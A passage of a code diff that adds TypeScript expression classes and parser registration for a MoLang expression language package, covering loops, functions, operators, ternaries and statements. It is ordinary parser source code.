|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
const array = this.arrayExpression.eval()
|
||||||
|
if (!Array.isArray(array))
|
||||||
|
throw new Error(
|
||||||
|
`Second for_each() argument must be an array, received "${typeof array}"`
|
||||||
|
)
|
||||||
|
|
||||||
|
let i = 0
|
||||||
|
while (i < array.length) {
|
||||||
|
// Error detection for this.variable is part of the constructor
|
||||||
|
this.variable.setPointer?.(array[i++])
|
||||||
|
|
||||||
|
const res = this.expression.eval()
|
||||||
|
|
||||||
|
if (this.expression.isBreak) break
|
||||||
|
else if (this.expression.isContinue) continue
|
||||||
|
else if (this.expression.isReturn) return res
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `loop(${this.variable.toString()},${this.arrayExpression.toString()},${this.expression.toString()})`
|
||||||
|
}
|
||||||
|
}
|
46
packages/molang/src/parser/expressions/function.ts
Normal file
46
packages/molang/src/parser/expressions/function.ts
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
import { NameExpression } from './name'
|
||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class FunctionExpression extends Expression {
|
||||||
|
type = 'FunctionExpression'
|
||||||
|
|
||||||
|
constructor(protected name: IExpression, protected args: IExpression[]) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.name, ...this.args]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: Expression) {
|
||||||
|
if (index === 0) this.name = expr
|
||||||
|
else if (index > 0) this.args[index - 1] = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
const args: unknown[] = []
|
||||||
|
let i = 0
|
||||||
|
while (i < this.args.length) args.push(this.args[i++].eval())
|
||||||
|
|
||||||
|
const func = <(...args: unknown[]) => unknown>this.name.eval()
|
||||||
|
if (typeof func !== 'function')
|
||||||
|
throw new Error(
|
||||||
|
`${(<NameExpression>this.name).toString()} is not callable!`
|
||||||
|
)
|
||||||
|
return func(...args)
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
let str = `${this.name.toString()}(`
|
||||||
|
for (let i = 0; i < this.args.length; i++) {
|
||||||
|
str += `${this.args[i].toString()}${
|
||||||
|
i + 1 < this.args.length ? ',' : ''
|
||||||
|
}`
|
||||||
|
}
|
||||||
|
|
||||||
|
return `${str})`
|
||||||
|
}
|
||||||
|
}
|
37
packages/molang/src/parser/expressions/genericOperator.ts
Normal file
37
packages/molang/src/parser/expressions/genericOperator.ts
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class GenericOperatorExpression extends Expression {
|
||||||
|
type = 'GenericOperatorExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected left: IExpression,
|
||||||
|
protected right: IExpression,
|
||||||
|
protected operator: string,
|
||||||
|
protected evalHelper: (
|
||||||
|
leftExpression: IExpression,
|
||||||
|
rightExpression: IExpression
|
||||||
|
) => unknown
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.left, this.right]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
if (index === 0) this.left = expr
|
||||||
|
else if (index === 1) this.right = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return this.left.isStatic() && this.right.isStatic()
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.evalHelper(this.left, this.right)
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `${this.left.toString()}${this.operator}${this.right.toString()}`
|
||||||
|
}
|
||||||
|
}
|
38
packages/molang/src/parser/expressions/group.ts
Normal file
38
packages/molang/src/parser/expressions/group.ts
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class GroupExpression extends Expression {
|
||||||
|
type = 'GroupExpression'
|
||||||
|
|
||||||
|
constructor(protected expression: IExpression, protected brackets: string) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.expression]
|
||||||
|
}
|
||||||
|
setExpressionAt(_: number, expr: IExpression) {
|
||||||
|
this.expression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return this.expression.isStatic()
|
||||||
|
}
|
||||||
|
get isReturn() {
|
||||||
|
return this.expression.isReturn
|
||||||
|
}
|
||||||
|
get isBreak() {
|
||||||
|
return this.expression.isBreak
|
||||||
|
}
|
||||||
|
get isContinue() {
|
||||||
|
return this.expression.isContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.expression.eval()
|
||||||
|
}
|
||||||
|
toString() {
|
||||||
|
return `${this.brackets[0]}${this.expression.toString()}${
|
||||||
|
this.brackets[1]
|
||||||
|
}`
|
||||||
|
}
|
||||||
|
}
|
19
packages/molang/src/parser/expressions/index.ts
Normal file
19
packages/molang/src/parser/expressions/index.ts
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
export { ArrayAccessExpression } from './arrayAccess'
|
||||||
|
export { BooleanExpression } from './boolean'
|
||||||
|
export { BreakExpression } from './break'
|
||||||
|
export { ContinueExpression } from './continue'
|
||||||
|
export { ForEachExpression } from './forEach'
|
||||||
|
export { FunctionExpression } from './function'
|
||||||
|
export { GenericOperatorExpression } from './genericOperator'
|
||||||
|
export { GroupExpression } from './group'
|
||||||
|
export { LoopExpression } from './loop'
|
||||||
|
export { NameExpression } from './name'
|
||||||
|
export { NumberExpression } from './number'
|
||||||
|
export { PostfixExpression } from './postfix'
|
||||||
|
export { PrefixExpression } from './prefix'
|
||||||
|
export { ReturnExpression } from './return'
|
||||||
|
export { StatementExpression } from './statement'
|
||||||
|
export { StaticExpression } from './static'
|
||||||
|
export { StringExpression } from './string'
|
||||||
|
export { TernaryExpression } from './ternary'
|
||||||
|
export { VoidExpression } from './void'
|
56
packages/molang/src/parser/expressions/loop.ts
Normal file
56
packages/molang/src/parser/expressions/loop.ts
Normal file
@ -0,0 +1,56 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class LoopExpression extends Expression {
|
||||||
|
type = 'LoopExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected count: IExpression,
|
||||||
|
protected expression: IExpression
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.count, this.expression]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
if (index === 0) this.count = expr
|
||||||
|
else if (index === 1) this.expression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
get isReturn() {
|
||||||
|
return this.expression.isReturn
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return this.count.isStatic() && this.expression.isStatic()
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
const repeatCount = Number(this.count.eval())
|
||||||
|
if (Number.isNaN(repeatCount))
|
||||||
|
throw new Error(
|
||||||
|
`First loop() argument must be of type number, received "${typeof this.count.eval()}"`
|
||||||
|
)
|
||||||
|
if (repeatCount > 1024)
|
||||||
|
throw new Error(
|
||||||
|
`Cannot loop more than 1024x times, received "${repeatCount}"`
|
||||||
|
)
|
||||||
|
|
||||||
|
let i = 0
|
||||||
|
while (i < repeatCount) {
|
||||||
|
i++
|
||||||
|
const res = this.expression.eval()
|
||||||
|
|
||||||
|
if (this.expression.isBreak) break
|
||||||
|
else if (this.expression.isContinue) continue
|
||||||
|
else if (this.expression.isReturn) return res
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `loop(${this.count.toString()},${this.expression.toString()})`
|
||||||
|
}
|
||||||
|
}
|
47
packages/molang/src/parser/expressions/name.ts
Normal file
47
packages/molang/src/parser/expressions/name.ts
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
import { ExecutionEnvironment } from '../../env/env'
|
||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class NameExpression extends Expression {
|
||||||
|
type = 'NameExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
public executionEnv: ExecutionEnvironment,
|
||||||
|
protected name: string,
|
||||||
|
protected isFunctionCall = false
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
setPointer(value: unknown) {
|
||||||
|
this.executionEnv.setAt(this.name, value)
|
||||||
|
}
|
||||||
|
|
||||||
|
setFunctionCall(value = true) {
|
||||||
|
this.isFunctionCall = value
|
||||||
|
}
|
||||||
|
setName(name: string) {
|
||||||
|
this.name = name
|
||||||
|
}
|
||||||
|
setExecutionEnv(executionEnv: ExecutionEnvironment) {
|
||||||
|
this.executionEnv = executionEnv
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
const value = this.executionEnv.getFrom(this.name)
|
||||||
|
if (!this.isFunctionCall && typeof value === 'function') return value()
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return this.name
|
||||||
|
}
|
||||||
|
}
|
25
packages/molang/src/parser/expressions/number.ts
Normal file
25
packages/molang/src/parser/expressions/number.ts
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class NumberExpression extends Expression {
|
||||||
|
type = 'NumberExpression'
|
||||||
|
|
||||||
|
constructor(protected value: number) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.value
|
||||||
|
}
|
||||||
|
toString() {
|
||||||
|
return '' + this.value
|
||||||
|
}
|
||||||
|
}
|
32
packages/molang/src/parser/expressions/postfix.ts
Normal file
32
packages/molang/src/parser/expressions/postfix.ts
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
import { TTokenType } from '../../tokenizer/token'
|
||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class PostfixExpression extends Expression {
|
||||||
|
type = 'PostfixExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected expression: IExpression,
|
||||||
|
protected tokenType: TTokenType
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.expression]
|
||||||
|
}
|
||||||
|
setExpressionAt(_: number, expr: IExpression) {
|
||||||
|
this.expression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return this.expression.isStatic()
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
switch (this.tokenType) {
|
||||||
|
case 'X': {
|
||||||
|
// DO SOMETHING
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
57
packages/molang/src/parser/expressions/prefix.ts
Normal file
57
packages/molang/src/parser/expressions/prefix.ts
Normal file
@ -0,0 +1,57 @@
|
|||||||
|
import { TTokenType } from '../../tokenizer/token'
|
||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class PrefixExpression extends Expression {
|
||||||
|
type = 'PrefixExpression'
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected tokenType: TTokenType,
|
||||||
|
protected expression: IExpression
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.expression]
|
||||||
|
}
|
||||||
|
setExpressionAt(_: number, expr: IExpression) {
|
||||||
|
this.expression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return this.expression.isStatic()
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
const value = this.expression.eval()
|
||||||
|
|
||||||
|
if (typeof value !== 'number')
|
||||||
|
throw new Error(
|
||||||
|
`Cannot use "${
|
||||||
|
this.tokenType
|
||||||
|
}" operator in front of ${typeof value} "${value}"`
|
||||||
|
)
|
||||||
|
|
||||||
|
switch (this.tokenType) {
|
||||||
|
case 'MINUS': {
|
||||||
|
return -value
|
||||||
|
}
|
||||||
|
case 'BANG': {
|
||||||
|
return !value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
switch (this.tokenType) {
|
||||||
|
case 'MINUS': {
|
||||||
|
return `-${this.expression.toString()}`
|
||||||
|
}
|
||||||
|
case 'BANG': {
|
||||||
|
return `!${this.expression.toString()}`
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error(`Unknown prefix operator: "${this.tokenType}"`)
|
||||||
|
}
|
||||||
|
}
|
29
packages/molang/src/parser/expressions/return.ts
Normal file
29
packages/molang/src/parser/expressions/return.ts
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
|
||||||
|
export class ReturnExpression extends Expression {
|
||||||
|
type = 'ReturnExpression'
|
||||||
|
isReturn = true
|
||||||
|
|
||||||
|
constructor(protected expression: IExpression) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return [this.expression]
|
||||||
|
}
|
||||||
|
setExpressionAt(_: number, expr: IExpression) {
|
||||||
|
this.expression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.expression.eval()
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return `return ${this.expression.toString()}`
|
||||||
|
}
|
||||||
|
}
|
102
packages/molang/src/parser/expressions/statement.ts
Normal file
102
packages/molang/src/parser/expressions/statement.ts
Normal file
@ -0,0 +1,102 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
import { StaticExpression } from './static'
|
||||||
|
import { VoidExpression } from './void'
|
||||||
|
|
||||||
|
export class StatementExpression extends Expression {
|
||||||
|
type = 'StatementExpression'
|
||||||
|
protected didReturn?: boolean = undefined
|
||||||
|
protected wasLoopBroken = false
|
||||||
|
protected wasLoopContinued = false
|
||||||
|
|
||||||
|
constructor(protected expressions: IExpression[]) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return this.expressions
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
this.expressions[index] = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
get isReturn() {
|
||||||
|
if (this.didReturn !== undefined) return this.didReturn
|
||||||
|
|
||||||
|
// This breaks scope vs. statement parsing for some reason
|
||||||
|
let i = 0
|
||||||
|
while (i < this.expressions.length) {
|
||||||
|
const expr = this.expressions[i]
|
||||||
|
|
||||||
|
if (expr.isBreak) return false
|
||||||
|
if (expr.isContinue) return false
|
||||||
|
if (expr.isReturn) {
|
||||||
|
this.didReturn = true
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
this.didReturn = false
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
get isBreak() {
|
||||||
|
if (this.wasLoopBroken) {
|
||||||
|
this.wasLoopBroken = false
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
get isContinue() {
|
||||||
|
if (this.wasLoopContinued) {
|
||||||
|
this.wasLoopContinued = false
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
let i = 0
|
||||||
|
while (i < this.expressions.length) {
|
||||||
|
if (!this.expressions[i].isStatic()) return false
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
this.didReturn = false
|
||||||
|
this.wasLoopBroken = false
|
||||||
|
this.wasLoopContinued = false
|
||||||
|
let i = 0
|
||||||
|
while (i < this.expressions.length) {
|
||||||
|
let res = this.expressions[i].eval()
|
||||||
|
|
||||||
|
if (this.expressions[i].isReturn) {
|
||||||
|
this.didReturn = true
|
||||||
|
return res
|
||||||
|
} else if (this.expressions[i].isContinue) {
|
||||||
|
this.wasLoopContinued = true
|
||||||
|
return
|
||||||
|
} else if (this.expressions[i].isBreak) {
|
||||||
|
this.wasLoopBroken = true
|
||||||
|
return
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
let str = ''
|
||||||
|
for (const expr of this.expressions) {
|
||||||
|
if (
|
||||||
|
expr instanceof VoidExpression ||
|
||||||
|
(expr instanceof StaticExpression && !expr.isReturn)
|
||||||
|
)
|
||||||
|
continue
|
||||||
|
str += `${expr.toString()};`
|
||||||
|
}
|
||||||
|
|
||||||
|
return str
|
||||||
|
}
|
||||||
|
}
|
28
packages/molang/src/parser/expressions/static.ts
Normal file
28
packages/molang/src/parser/expressions/static.ts
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class StaticExpression extends Expression {
|
||||||
|
type = 'StaticExpression'
|
||||||
|
constructor(protected value: unknown, public readonly isReturn = false) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.value
|
||||||
|
}
|
||||||
|
toString() {
|
||||||
|
let val = this.value
|
||||||
|
if (typeof val === 'string') val = `'${val}'`
|
||||||
|
|
||||||
|
if (this.isReturn) return `return ${val}`
|
||||||
|
return '' + val
|
||||||
|
}
|
||||||
|
}
|
26
packages/molang/src/parser/expressions/string.ts
Normal file
26
packages/molang/src/parser/expressions/string.ts
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class StringExpression extends Expression {
|
||||||
|
type = 'StringExpression'
|
||||||
|
|
||||||
|
constructor(protected name: string) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return this.name.substring(1, this.name.length - 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
return this.name
|
||||||
|
}
|
||||||
|
}
|
79
packages/molang/src/parser/expressions/ternary.ts
Normal file
79
packages/molang/src/parser/expressions/ternary.ts
Normal file
@ -0,0 +1,79 @@
|
|||||||
|
import { Expression, IExpression } from '../expression'
|
||||||
|
import { VoidExpression } from './void'
|
||||||
|
|
||||||
|
export class TernaryExpression extends Expression {
|
||||||
|
type = 'TernaryExpression'
|
||||||
|
protected leftResult: unknown
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
protected leftExpression: IExpression,
|
||||||
|
protected thenExpression: IExpression,
|
||||||
|
protected elseExpression: IExpression
|
||||||
|
) {
|
||||||
|
super()
|
||||||
|
}
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
if (this.leftExpression.isStatic())
|
||||||
|
return [
|
||||||
|
this.leftExpression,
|
||||||
|
this.leftExpression.eval()
|
||||||
|
? this.thenExpression
|
||||||
|
: this.elseExpression,
|
||||||
|
]
|
||||||
|
return [this.leftExpression, this.thenExpression, this.elseExpression]
|
||||||
|
}
|
||||||
|
setExpressionAt(index: number, expr: IExpression) {
|
||||||
|
if (index === 0) this.leftExpression = expr
|
||||||
|
else if (index === 1) this.thenExpression = expr
|
||||||
|
else if (index === 2) this.elseExpression = expr
|
||||||
|
}
|
||||||
|
|
||||||
|
get isReturn() {
|
||||||
|
if (this.leftResult === undefined)
|
||||||
|
return this.thenExpression.isReturn && this.elseExpression.isReturn
|
||||||
|
return this.leftResult
|
||||||
|
? this.thenExpression.isReturn
|
||||||
|
: this.elseExpression.isReturn
|
||||||
|
}
|
||||||
|
get hasReturn() {
|
||||||
|
return this.thenExpression.isReturn || this.elseExpression.isReturn
|
||||||
|
}
|
||||||
|
get isContinue() {
|
||||||
|
if (this.leftResult === undefined)
|
||||||
|
return (
|
||||||
|
this.thenExpression.isContinue && this.elseExpression.isContinue
|
||||||
|
)
|
||||||
|
return this.leftResult
|
||||||
|
? this.thenExpression.isContinue
|
||||||
|
: this.elseExpression.isContinue
|
||||||
|
}
|
||||||
|
get isBreak() {
|
||||||
|
if (this.leftResult === undefined)
|
||||||
|
return this.thenExpression.isBreak && this.elseExpression.isBreak
|
||||||
|
return this.leftResult
|
||||||
|
? this.thenExpression.isBreak
|
||||||
|
: this.elseExpression.isBreak
|
||||||
|
}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return (
|
||||||
|
this.leftExpression.isStatic() &&
|
||||||
|
this.thenExpression.isStatic() &&
|
||||||
|
this.elseExpression.isStatic()
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
this.leftResult = this.leftExpression.eval()
|
||||||
|
return this.leftResult
|
||||||
|
? this.thenExpression.eval()
|
||||||
|
: this.elseExpression.eval()
|
||||||
|
}
|
||||||
|
|
||||||
|
toString() {
|
||||||
|
if (this.elseExpression instanceof VoidExpression)
|
||||||
|
return `${this.leftExpression.toString()}?${this.thenExpression.toString()}`
|
||||||
|
return `${this.leftExpression.toString()}?${this.thenExpression.toString()}:${this.elseExpression.toString()}`
|
||||||
|
}
|
||||||
|
}
|
21
packages/molang/src/parser/expressions/void.ts
Normal file
21
packages/molang/src/parser/expressions/void.ts
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
import { Expression } from '../expression'
|
||||||
|
|
||||||
|
export class VoidExpression extends Expression {
|
||||||
|
type = 'VoidExpression'
|
||||||
|
|
||||||
|
get allExpressions() {
|
||||||
|
return []
|
||||||
|
}
|
||||||
|
setExpressionAt() {}
|
||||||
|
|
||||||
|
isStatic() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
eval() {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
toString() {
|
||||||
|
return ''
|
||||||
|
}
|
||||||
|
}
|
88
packages/molang/src/parser/molang.ts
Normal file
88
packages/molang/src/parser/molang.ts
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
import { Parser } from './parse'
|
||||||
|
import { BinaryOperator } from './parselets/binaryOperator'
|
||||||
|
import { EPrecedence } from './precedence'
|
||||||
|
import { PrefixOperator } from './parselets/prefix'
|
||||||
|
import { NumberParselet } from './parselets/number'
|
||||||
|
import { NameParselet } from './parselets/name'
|
||||||
|
import { GroupParselet } from './parselets/groupParselet'
|
||||||
|
import { ReturnParselet } from './parselets/return'
|
||||||
|
import { StatementParselet } from './parselets/statement'
|
||||||
|
import { StringParselet } from './parselets/string'
|
||||||
|
import { FunctionParselet } from './parselets/function'
|
||||||
|
import { ArrayAccessParselet } from './parselets/arrayAccess'
|
||||||
|
import { ScopeParselet } from './parselets/scope'
|
||||||
|
import { LoopParselet } from './parselets/loop'
|
||||||
|
import { ForEachParselet } from './parselets/forEach'
|
||||||
|
import { ContinueParselet } from './parselets/continue'
|
||||||
|
import { BreakParselet } from './parselets/break'
|
||||||
|
import { BooleanParselet } from './parselets/boolean'
|
||||||
|
import { IParserConfig } from '../main'
|
||||||
|
import { EqualsOperator } from './parselets/equals'
|
||||||
|
import { NotEqualsOperator } from './parselets/notEquals'
|
||||||
|
import { AndOperator } from './parselets/andOperator'
|
||||||
|
import { OrOperator } from './parselets/orOperator'
|
||||||
|
import { SmallerOperator } from './parselets/smallerOperator'
|
||||||
|
import { GreaterOperator } from './parselets/greaterOperator'
|
||||||
|
import { QuestionOperator } from './parselets/questionOperator'
|
||||||
|
|
||||||
|
export class MoLangParser extends Parser {
|
||||||
|
constructor(config: Partial<IParserConfig>) {
|
||||||
|
super(config)
|
||||||
|
|
||||||
|
//Special parselets
|
||||||
|
this.registerPrefix('NAME', new NameParselet())
|
||||||
|
this.registerPrefix('STRING', new StringParselet())
|
||||||
|
this.registerPrefix('NUMBER', new NumberParselet())
|
||||||
|
this.registerPrefix('TRUE', new BooleanParselet(EPrecedence.PREFIX))
|
||||||
|
this.registerPrefix('FALSE', new BooleanParselet(EPrecedence.PREFIX))
|
||||||
|
this.registerPrefix('RETURN', new ReturnParselet())
|
||||||
|
this.registerPrefix('CONTINUE', new ContinueParselet())
|
||||||
|
this.registerPrefix('BREAK', new BreakParselet())
|
||||||
|
this.registerPrefix('LOOP', new LoopParselet())
|
||||||
|
this.registerPrefix('FOR_EACH', new ForEachParselet())
|
||||||
|
this.registerInfix(
|
||||||
|
'QUESTION',
|
||||||
|
new QuestionOperator(EPrecedence.CONDITIONAL)
|
||||||
|
)
|
||||||
|
this.registerPrefix('LEFT_PARENT', new GroupParselet())
|
||||||
|
this.registerInfix(
|
||||||
|
'LEFT_PARENT',
|
||||||
|
new FunctionParselet(EPrecedence.FUNCTION)
|
||||||
|
)
|
||||||
|
this.registerInfix(
|
||||||
|
'ARRAY_LEFT',
|
||||||
|
new ArrayAccessParselet(EPrecedence.ARRAY_ACCESS)
|
||||||
|
)
|
||||||
|
this.registerPrefix('CURLY_LEFT', new ScopeParselet(EPrecedence.SCOPE))
|
||||||
|
this.registerInfix(
|
||||||
|
'SEMICOLON',
|
||||||
|
new StatementParselet(EPrecedence.STATEMENT)
|
||||||
|
)
|
||||||
|
|
||||||
|
//Prefix parselets
|
||||||
|
this.registerPrefix('MINUS', new PrefixOperator(EPrecedence.PREFIX))
|
||||||
|
this.registerPrefix('BANG', new PrefixOperator(EPrecedence.PREFIX))
|
||||||
|
|
||||||
|
//Postfix parselets
|
||||||
|
//Nothing here yet
|
||||||
|
|
||||||
|
//Infix parselets
|
||||||
|
this.registerInfix('PLUS', new BinaryOperator(EPrecedence.SUM))
|
||||||
|
this.registerInfix('MINUS', new BinaryOperator(EPrecedence.SUM))
|
||||||
|
this.registerInfix('ASTERISK', new BinaryOperator(EPrecedence.PRODUCT))
|
||||||
|
this.registerInfix('SLASH', new BinaryOperator(EPrecedence.PRODUCT))
|
||||||
|
this.registerInfix(
|
||||||
|
'EQUALS',
|
||||||
|
new EqualsOperator(EPrecedence.EQUALS_COMPARE)
|
||||||
|
)
|
||||||
|
this.registerInfix(
|
||||||
|
'BANG',
|
||||||
|
new NotEqualsOperator(EPrecedence.EQUALS_COMPARE)
|
||||||
|
)
|
||||||
|
this.registerInfix('GREATER', new GreaterOperator(EPrecedence.COMPARE))
|
||||||
|
this.registerInfix('SMALLER', new SmallerOperator(EPrecedence.COMPARE))
|
||||||
|
this.registerInfix('AND', new AndOperator(EPrecedence.AND))
|
||||||
|
this.registerInfix('OR', new OrOperator(EPrecedence.OR))
|
||||||
|
this.registerInfix('ASSIGN', new BinaryOperator(EPrecedence.ASSIGNMENT))
|
||||||
|
}
|
||||||
|
}
|
118
packages/molang/src/parser/parse.ts
Normal file
118
packages/molang/src/parser/parse.ts
Normal file
@ -0,0 +1,118 @@
|
|||||||
|
import { Tokenizer } from '../tokenizer/Tokenizer'
|
||||||
|
import { TTokenType, Token } from '../tokenizer/token'
|
||||||
|
import { IPrefixParselet } from './parselets/prefix'
|
||||||
|
import { IInfixParselet } from './parselets/infix'
|
||||||
|
import { IExpression } from './expression'
|
||||||
|
import { ExecutionEnvironment } from '../env/env'
|
||||||
|
import { IParserConfig } from '../main'
|
||||||
|
import { VoidExpression } from './expressions/void'
|
||||||
|
|
||||||
|
export class Parser {
|
||||||
|
protected prefixParselets = new Map<TTokenType, IPrefixParselet>()
|
||||||
|
protected infixParselets = new Map<TTokenType, IInfixParselet>()
|
||||||
|
protected readTokens: Token[] = []
|
||||||
|
protected tokenIterator = new Tokenizer()
|
||||||
|
executionEnv!: ExecutionEnvironment
|
||||||
|
|
||||||
|
constructor(public config: Partial<IParserConfig>) {}
|
||||||
|
|
||||||
|
updateConfig(config: Partial<IParserConfig>) {
|
||||||
|
this.config = config
|
||||||
|
}
|
||||||
|
|
||||||
|
init(expression: string) {
|
||||||
|
this.tokenIterator.init(expression)
|
||||||
|
this.readTokens = []
|
||||||
|
}
|
||||||
|
setTokenizer(tokenizer: Tokenizer) {
|
||||||
|
this.tokenIterator = tokenizer
|
||||||
|
}
|
||||||
|
setExecutionEnvironment(executionEnv: ExecutionEnvironment) {
|
||||||
|
this.executionEnv = executionEnv
|
||||||
|
}
|
||||||
|
|
||||||
|
parseExpression(precedence = 0): IExpression {
|
||||||
|
let token = this.consume()
|
||||||
|
if (token.getType() === 'EOF') return new VoidExpression()
|
||||||
|
|
||||||
|
